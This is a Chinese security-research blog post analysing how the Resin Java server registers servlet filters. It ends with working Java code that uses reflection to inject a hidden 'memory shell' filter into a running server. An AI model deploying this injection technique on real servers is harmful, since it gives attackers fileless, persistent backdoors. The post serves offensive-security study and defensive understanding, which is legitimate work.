0x01 前言
本次我们要讲的是Resin的Filter内存马,没错!还是Filter内存马。没办法,谁让我对Filter情有独钟呢,哈哈,开个玩笑。本次会从程序启动过程和访问相应业务执行过程来讲解内存马的生成以及自定义构造,写得不好的地方,大佬们多多包涵。
0x02 环境搭建
关于resin环境搭建,我感觉还是有必要讲一下的,一是为了让没搭建过的朋友们避一避坑,二是给自己做个笔记,防止以后忘了,年纪大了记性不好。。。
首先,我们要从官网下载resin项目源码,地址:https://caucho.com/products/resin/download
下载zip格式文件,下载完后解压到自己想要存放的目录即可,自己要记得在哪里
然后使用idea创建一个空的web项目,这个应该难不倒聪明的小伙伴,下面我说关键步骤
一、下载resin插件
打开idea的Settings选项,搜索plugin如图
然后搜索resin插件,如图
安装插件即可,我这里已经安装过了
二、配置resin环境
点击添加配置选项,如图
点击 + 号,找到resin,选择local,如图
点击配置,找到resin解压目录
配置问后点击fix,如图
按照图中配置,然后点击apply,这是就可以创建一个index.jsp文件来启动测试一下了,不过在启动前还有个小问题,就是web.xml问题,默认的生成的web.xml启动resin是会报错的,得使用如下配置
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
</web-app>
然后启动如图
0x03 漏洞分析
01 程序启动分析
在分析程序之前,我们得先创建一个Filter,代码如下
package com.demo.filter;
import javax.servlet.*;
import java.io.IOException;
public class DemoFilterTwo implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
System.out.println("doFilter...");
}
public void destroy() {
}
}
然后配置相应的web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:web="http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<filter>
<filter-name>test123</filter-name>
<filter-class>com.demo.filter.DemoFilterTwo</filter-class>
</filter>
<filter-mapping>
<filter-name>test123</filter-name>
<url-pattern>/test123</url-pattern>
</filter-mapping>
</web-app>
我们需要先在 com.caucho.server.webapp.WebApp#addFilterMapping 方法出打上断点,这是添加过滤器以及映射关系开始的地方,所以我们选择从该方法开始分析,前面也有一些操作,我也跟过,又臭又长,感兴趣的童鞋可以自己完整流程跟一下,熟悉一下Resin启动流程,因为网上对Resin设计模式之类的讲的比较少,所以我也没有去深入研究其设计模式之类的,只是对类有个大概的概念,讲的不对的地方,大佬们可以评论区给予纠正。
废话不多说,进入正题,开始debug如图
首先程序启动之后会进入我们的断点中,com.caucho.server.webapp.WebApp 类,是比较重要的一个类,你们可以把他理解成tomcat中的 StandardContext 对象,该类中有我们需要的所有对象,用于创建和访问Filter。
往下走,跟入this._filterManager.addFilterMapping(filterMapping)方法
可以看到先从filterMapping中获取uri路由,如图
我们可以看到是一个LinkedHashSet集合,其中存储的是过滤器的访问路径 /test123
然后调用this._urlPatterns.get(filterMapping.getName()),来从_urlPatterns中根据test123过滤器名获取相应的值,由于程序是刚启动所以自然是获取不到,所以为null,值为null之后会进入if判断,将过滤器名称和请求的uri重新存放到_urlPatterns集合中,如图
接着我们回到 com.caucho.server.webapp.WebApp#addFilterMapping 方法,继续往下走,进入if判断调用 this._filterMapper.addFilterMapping(filterMapping) 方法,这里的FilterMapping,我们可以理解为用来存放过滤器名称和路由的对照关系的类,通过过滤器名称可以找到对应的访问路由,跟入方法 com.caucho.server.dispatch.FilterMapper#addFilterMapping
这里会先获取mapping中的filter名称,这里是 test123 ,然后经过一系列判断走到 this._filterMap.add(mapping) 代码块,将mapping添加到_filterMap集合中
走出 com.caucho.server.dispatch.FilterMapper#addFilterMapping 方法,回到 com.caucho.server.webapp.WebApp#addFilterMapping 方法,调用 this._loginFilterMapper.addFilterMapping(filterMapping) 这个方法和前面步骤是一样的,将mapping添加到集合中,这个就不跟了,第一阶段方法就执行完了,这里我们可以看到有两个成员变量,一个是 com.caucho.server.dispatch.FilterManager ,另一个是 com.caucho.server.dispatch.FilterMapper 对象,这个我们这边先记一下
然后我们先不急着退出调试,找到 com.caucho.server.dispatch.FilterManager#createFilter 方法并打上断点,如图
可以看到先根据过滤器名称去从_filters集合中获取相应的值,这里的值是一个FilterConfigImpl对象,该对象是FilterMapping的父类,其中封装了过滤器名称 _filterName 以及过滤器对应的类对象 _filterClass,这两个是我们需要关注的,接着往下走,进入到else代码块
先是从_instances Map集合中尝试根据filterName获取对应的过滤器实例,如果获取到则返回实例对象,否则调用 com.caucho.config.inject.InjectionTargetBuilder 对象的produce方法创建一个新实例,具体过程我们不跟入,往下走
将过滤器名称作为键过滤器实例作为值存放到Map集合中,最后返回实例对象,这里的_instances也是我们后面要关注的成员变量
至此程序初次启动过滤器的创建过程就分析完了,接下来就是访问调用过滤器的过程分析
02 执行filter过程调试
在 com.caucho.server.dispatch.FilterMapper#buildDispatchChain 方法处打上断点,然后我们打开浏览器访问我们创建的过滤器地址 /test123,如图
这里会遍历 com.caucho.server.dispatch.FilterMapper#_filterMap 集合,然后调用isMatch方法,第一个for循环由于没有设置servlet,所以匹配不到,看下面的循环
跟入isMatch方法
继续往下
这里有一个点我们也要注意下,在FilterMapping中必须配置对应路径的正则对象,为了匹配到uri的值,匹配到返回true,匹配不到则进入不了后续的方法,调用不到自定义的过滤器类,这里很关键。
回到 com.caucho.server.dispatch.FilterMapper#buildDispatchChain 方法继续,获取map对象的filterName,然后传入 this._filterManager.createFilter(filterName) 方法
这里和前面的步骤差不多,往下走
不同的地方在与在程序初次启动的时候已经将过滤器实例存入到instances集合中了,所以第二次访问的时候就可以根据过滤器名获取到对应的实例对象了,最后返回
往下调用 this.addFilter(chain, filter) 方法,将filter实例添加到过滤器链中,用于链式执行,这里的chain对象对应的是 com.caucho.server.dispatch.ServletFilterChain 类,这里Resin采用的是责任链的设计模式,我们往下看跟入 com.caucho.server.dispatch.FilterMapper#addFilter
这里 com.caucho.server.dispatch.FilterFilterChain 对象是用于存放过滤器类,并指定下一个处理对象,这个是责任链的模式
回到 com.caucho.server.dispatch.FilterMapper#buildDispatchChain ,调用 invocation.setFilterChain(chain) 方法,将刚才创建的过滤器链对象设置进去,跟入
执行完buildDispatchChain之后回到 com.caucho.server.webapp.WebApp#buildInvocation(com.caucho.server.dispatch.Invocation, boolean) 方法
可以看到经过一些列包装,最终的chain如图
看到这里你们应该能理解我刚才为啥说是责任链模式了,从最上面调用开始层层向下调用,再往后面就是doFilter方法的调用了,如图
03 如何编写自定义内存马
完整的创建调用过程我们已经分析完了,接下来就是怎么编写自己的过滤器的问题了,如何动态插入才能被正常访问到。
我们来回顾一下前面讲的几个点
一、在com.caucho.server.dispatch.FilterMapper#buildDispatchChain方法中遍历的 com.caucho.server.dispatch.FilterMapper#_filterMap 成员变量,这个里面存放的是FilterMapping对象,所以这里我们需要将我们自定义的FilterMapping对象存放进去,还要设置正则匹配对象,在com.caucho.server.dispatch.FilterMapping#setURLRegexp方法中设置,传入需要访问的过滤器路由,例如:/test123
二、在com.caucho.server.dispatch.FilterManager#createFilter方法中,我们要保证获取的config不为null,config是从 com.caucho.server.dispatch.FilterManager#_filters 集合中取的,根据过滤器名称来获取FilterConfigImpl,所以这里我们需要创建一个FilterConfigImpl,然后将自定义的过滤器名称和FilterConfigImpl对象存放进com.caucho.server.dispatch.FilterManager#_filters 集合中
三、从com.caucho.server.dispatch.FilterManager#_instances集合中,根据过滤器名称取出相应的实例对象,那么我们就需要将我们的过滤器名称和实例对象提前放置进com.caucho.server.dispatch.FilterManager#_instances集合中,下一次访问即可获取到实例对象
四、只要走到了 com.caucho.server.dispatch.FilterMapper#addFilter 方法,将chain对象和过滤器设置好,基本上就可以保证可以触发到我们自定义的过滤器类,执行doFilter方法了
那么分析下来,我们需要修改哪些地方已经一目了然了
主要就在 com.caucho.server.dispatch.FilterMapper#_filterMap、com.caucho.server.dispatch.FilterManager#_filters、com.caucho.server.dispatch.FilterManager#_instances
因为前面分析的时候我也讲过,这两个对象都可以在WebApp对象中找到
那么问题来了,如何获取WebApp对象呢?
其实也很简单,只要你看过我之前的分析文章就应该知道,之前我找request对象都是在当前线程中去找,Thread.currentThread(),经过我的一番查找,还真的找到了,大致路径如图
继续从HttpRequest中查找
那么基本上就没啥问题了,写代码就完事了,这里附上我的代码,经供参考
package com.demo.filter;
import com.caucho.server.dispatch.FilterConfigImpl;
import com.caucho.server.dispatch.FilterMapping;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.List;
import java.util.Map;
import java.util.Set;
public class DemoFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
try {
Thread currentThread = Thread.currentThread();
Field threadLocals = currentThread.getClass().getSuperclass().getDeclaredField("threadLocals");
threadLocals.setAccessible(true);
Object map = threadLocals.get(currentThread);
Field table = map.getClass().getDeclaredField("table");
table.setAccessible(true);
Object[] entrys = (Object[]) table.get(map);
for (Object entry : entrys) {
if(entry != null){
Field value = entry.getClass().getDeclaredField("value");
value.setAccessible(true);
Object val = value.get(entry);
if(val.getClass().getName().equals("com.caucho.server.http.HttpRequest")){
Object requestFacade = getObject(val.getClass(), val, "_requestFacade");
Object invocation = getObject(requestFacade.getClass(), requestFacade,"_invocation");
Object webApp = getObject(invocation.getClass(), invocation, "_webApp");
Object filterManager = getObject(webApp.getClass(), webApp, "_filterManager");
Object filterMapper = getObject(webApp.getClass(), webApp, "_filterMapper");
// 设置Filterconfigimpl
HelloFilter helloFilter = new HelloFilter();
FilterConfigImpl filterConfig = new FilterConfigImpl();
filterConfig.setFilterName("hello");
filterConfig.setFilterClass(helloFilter.getClass());
Map instances = (Map) getObject(filterManager.getClass(), filterManager, "_instances");
instances.put("hello", helloFilter);
Map filters = (Map) getObject(filterManager.getClass(), filterManager, "_filters");
filters.put("hello", filterConfig);
// 创建FilterMapping
FilterMapping filterMapping = new FilterMapping();
filterMapping.setFilterName("hello");
Field urlPattern = filterMapping.getClass().getDeclaredField("_urlPattern");
urlPattern.setAccessible(true);
urlPattern.set(filterMapping, "/hello");
filterMapping.setURLRegexp("/hello");
List filterMap = (List) getObject(filterMapper.getClass(), filterMapper, "_filterMap");
filterMap.add(filterMapping);
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
}
public void destroy() {
}
public Object getObject(Class clazz, Object obj, String fieldName){
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
Object res_obj = field.get(obj);
return res_obj;
} catch (Exception e) {
return getObject(clazz.getSuperclass(), obj, fieldName);
}
}
}
到这里本次分析也就结束了,感谢大家的耐心观看,坚持看到最后的都是俊男靓女哦 (●ˇ∀ˇ●)
0x04 总结
在学习一个新的东西的时候,不用急着去抄答案,而是学会自己静下心来分析,在一次一次的尝试中学会你需要的知识,收获成功的体验。
0x05 参考文章
IDEA集成Resin(https://www.jianshu.com/p/4c5c3f18b3b7)